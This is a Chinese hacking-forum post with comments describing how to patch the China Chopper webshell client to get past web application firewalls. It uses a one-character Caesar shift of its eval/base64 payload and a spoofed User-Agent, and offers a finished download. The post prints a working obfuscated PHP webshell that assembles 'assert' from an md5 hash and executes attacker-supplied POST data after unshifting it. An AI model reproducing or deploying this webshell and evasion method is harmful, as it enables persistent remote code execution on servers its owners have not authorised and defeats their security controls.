[元旦快乐]过大部分waf的菜刀
明天就是元旦了,在这里祝各位道友新年快乐,特送上元旦贺礼一份!多谢7哥(@7kbStorm)、@接地气、@0xShin的帮忙。
自求助帖:https://www.t00ls.com/thread-37428-1-1.html发布以后,该贴一直在本周热门榜第一位,直到“T00ls第四届(2016)年度人物风云榜 会员投票”开贴一天后才位居第二,说明好多人关注这个帖子。5楼也附上了一款过waf菜刀.后来研究过后有了一个过大部分waf 的方法。
思路:PHP版,发送的数据为:
密码=@eval(base64_decode($_POST[z0]));&z0=base64值
那我们把@eval(base64_decode($_POST[z0]));用凯撒密码加密方式来进行加密,在shell里进行解密,这样就可以绕过大部分waf了。
菜刀还是求助帖中5楼提供的刀,用C32打开,然后搜索@eval(base64_decode($_POST[z0])); ,并替换为:Afwbm)cbtf75`efdpef)%`QPTU\{1^**< (Afwbm)cbtf75`efdpef)%`QPTU\{1^**<为@eval(base64_decode($_POST[z0])); 按照ascii码顺序表移动一位后的结果。)
PS:这里不用base64加密的原因在于加密后的数据长度和原数据长度不相等,修改较麻烦。
OK,然后保存一下,然后运行程序,抓取数据包发现:
的确已经修改完成。
然后在shell中添加代码:
$arr = stripcslashes($_POST[x]);
for($i=0;$i<strlen($arr);$i++){
$arr[$i]=chr(ord($arr[$i])-1);
}
比如:https://www.t00ls.com/viewthread.php?tid=37191 此贴中的一句话拿来做下修改:
<?php
$a=md5('ssss');
echo $a.'';
$b=substr($a,2,2)+37;
$s=$b+18;
$e=substr($a,-7,1);
$r=$s-1;
$t=$r+2;
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
$arr = stripcslashes($_POST['sx']);
for($i=0;$i<strlen($arr);$i++){
$arr[$i]=chr(ord($arr[$i])-1);
}
$z($arr);
?>
到这里还没有结束,因为这款菜刀比较老,是2011/11/16版的,UA头也是容易被拦截的,测试360网站卫士就拦截它,所以还要进行修改UA头,坛子里面有贴子:
https://www.t00ls.com/viewthread.php?tid=22812
照葫芦画瓢即可,但是这里要强调一点,也是自己遇到的一个坑点,由于改后的UA比原本的UA长,因此我们需要在程序领空的其他空白地方进行修改,免得覆盖程序代码,用C32修改以后:
这里看到C32里面显示的是文件偏移地址,而OD显示的是内存偏移地址,那两者该如何换算呢?
百度一下,有两种常用法子:
1.虚拟地址 = 基地址 + 相对虚拟地址 PS:没看懂
2.偏移量转换器 ,下载了一个转化发现:00000A70给转化成了A70,这也不对呀。。
问了别人一下:某友跟我讲要用一个星期去学习PE结构,不懂PE结构没法跟我说,但是:后来我发现,在OD可以直接搜索文件偏移地址:
然后调到原来UA的压栈地址,修改为新UA的内存地址,再保存:
成品下载:
TCV=0
只对php进行修改了,asp没搞懂,菜刀连接asp发送的数据包里面有多个Execute以及某些数据是%s代替的,因此,未对asp以及其他做修改,各位牛自己发挥吧。
评论48次
现在好像被云锁提示了,直接就锁掉IP了。也有可能马的问题,我去继续测试一下,一会跟帖
暂时先看看大家用的好不好,我自己也测试一下,好不好用。这个东西嘛,我感觉具有时效性的比较多。
谢谢分享了,楼主共享精神不错
其实对于新版菜刀不太会用。。。
新版菜刀有没有用过!
我用了压缩包里的5.php 密码是sx,但是报错了HTTP/1.1 200 OKDate: Wed, 11 Jan 2017 14:55:45 GMTServer: Apache/2.4.25 (Debian)Vary: Accept-EncodingContent-Length: 395Connection: closeContent-Type: text/html; charset=UTF-88f60c8102d29fcd525162d02eed4566b<br>97<br>assert<br>@eval(base64_decode($_POSTz0]));<br /><b>Parse error</b>: syntax error, unexpected ']', expecting ',' or ')' in <b>/var/www/html/5.php(17) : assert code</b> on line <b>1</b><br /><br /><b>Catchable fatal error</b>: assert(): Failure evaluating code: @eval(base64_decode($_POSTz0])); in <b>/var/www/html/5.php</b> on line <b>17</b><br />其中 @eval(base64_decode($_POSTz0])); 好像不对吧,请大神看看
是的,当时疏忽了。。
我用了压缩包里的5.php 密码是sx,但是报错了
凯撒密码加密,思路真的很赞,这样看来,别的加密方式应该也可以,只需要保证同等长度,下面把解密函数加上。赞一下!新年福利~
是呀waf其实不太高明简单的加密貌似就很有效,而且密钥可控,加密出来的东西毫waf认不得
这个需要支持一下,xi望不会这么快就被干掉了
收藏,试试其它的脚本语言
这姿势好,现在后门菜刀太多了~
这个厉害了,准备研究下
思路很赞 666
终于还是被发出来了。方法差不多,期待有更猥琐的思路?
思路真心不错,回去自己弄弄
hat就可以定义。楼主精神很好,不过外面的菜刀一直不敢用。
可以,不过一句话就不再是一句话了,需要加一段偏移代码,隐藏效果感觉不是特别好了
感觉还是有局限性
的确。能想到让大多数一句话都能直接连接的方法 通杀waf是最完美的,第一次见迪哥回帖呀,都是看你的教程学的。
用修改的软件上连接有360网站卫士的提示 无法解析 域名,,用自带浏览器访问 下面当前访问可能对网站安全造成威胁,已被网站卫士拦截。详情请点击这里拦截URL: 如果您是站长,请点击 站长绿色通道 使您的访问不再被拦截
你这是shell被拦截了吧/
看到这里很奇怪,怎么还是用的老版本的菜刀。菜刀不是出新版本了么,代码都做了更改。